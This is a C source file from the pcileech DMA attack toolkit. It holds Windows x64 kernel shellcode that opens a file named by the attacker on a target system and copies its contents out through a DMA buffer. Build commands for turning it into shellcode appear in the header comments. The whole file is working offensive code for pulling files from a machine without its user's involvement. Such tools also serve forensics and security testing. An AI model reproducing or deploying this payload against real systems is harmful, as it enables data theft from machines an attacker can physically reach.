Files
pcileech/pcileech_shellcode/wx64_filepull.c
2016-12-15 09:22:23 +01:00

76 lines
3.3 KiB
C

// wx64_filepull.c : kernel code to pull files from target system.
// Compatible with Windows x64.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_filepull.c
// ml64 wx64_common_a.asm /Fewx64_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_filepull.obj wx64_common.obj
// shellcode64.exe -o wx64_filepull.exe "PULL FILES FROM TARGET SYSTEM \n===============================================================\nPull a file from the target system to the local system. \nREQUIRED OPTIONS: \n -out : file on local system to write result to. \n filename is given in normal format. \n Example: '-out c:\temp\myexefile.exe' \n -s : file on target system. \n filename is given in kernel format (\??\-prefix) \n Example: '-s \??\c:\program files\myexefile.exe' \n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nNTSTATUS : 0x%08X\n===============================================================\n"
//
#include "wx64_common.h"
#define STATUS_UNSUCCESSFUL 0xC0000001
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_OPEN 0x00000001
#define FILE_OVERWRITE_IF 0x00000005
#define OBJ_KERNEL_HANDLE 0x00000200
VOID c_EntryPoint(_In_ PKMDDATA pk)
{
NTSTATUS nt;
HANDLE hFile;
IO_STATUS_BLOCK _io;
OBJECT_ATTRIBUTES _oa;
ANSI_STRING _sa;
UNICODE_STRING _su;
KERNEL_FUNCTIONS ofnk;
PKERNEL_FUNCTIONS fnk;
BOOL isModeLargeTransfer = FALSE;
if(!pk->dataInStr[0]) {
pk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;
return;
}
// initialize kernel functions and strings
InitializeKernelFunctions(pk->AddrKernelBase, &ofnk);
fnk = &ofnk;
fnk->RtlInitAnsiString(&_sa, pk->dataInStr);
fnk->RtlCopyMemory(pk->dataOutStr, pk->dataInStr, 260);
fnk->RtlAnsiStringToUnicodeString(&_su, &_sa, TRUE);
fnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));
fnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(
&_oa,
&_su,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
// open, write and close file.
if(fnk->KeGetCurrentIrql() != PASSIVE_LEVEL) {
pk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;
goto cleanup;
}
nt = fnk->ZwCreateFile(&hFile, GENERIC_READ, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if(0 != nt) {
pk->dataOut[0] = nt;
goto cleanup;
}
do {
nt = fnk->ZwReadFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataOutExtraOffset), (ULONG)pk->dataOutExtraLengthMax, NULL, 0);
if(NT_ERROR(nt)) { break; }
pk->dataOutExtraLength = (QWORD)_io.Information;
if(pk->dataOutExtraLength != pk->dataOutExtraLengthMax) { break; }
isModeLargeTransfer = TRUE;
} while(WriteLargeOutput_WaitNext(fnk, pk));
fnk->ZwClose(hFile);
if(isModeLargeTransfer) {
WriteLargeOutput_Finish(fnk, pk);
}
pk->dataOut[0] = nt;
cleanup:
fnk->RtlFreeUnicodeString(&_su);
}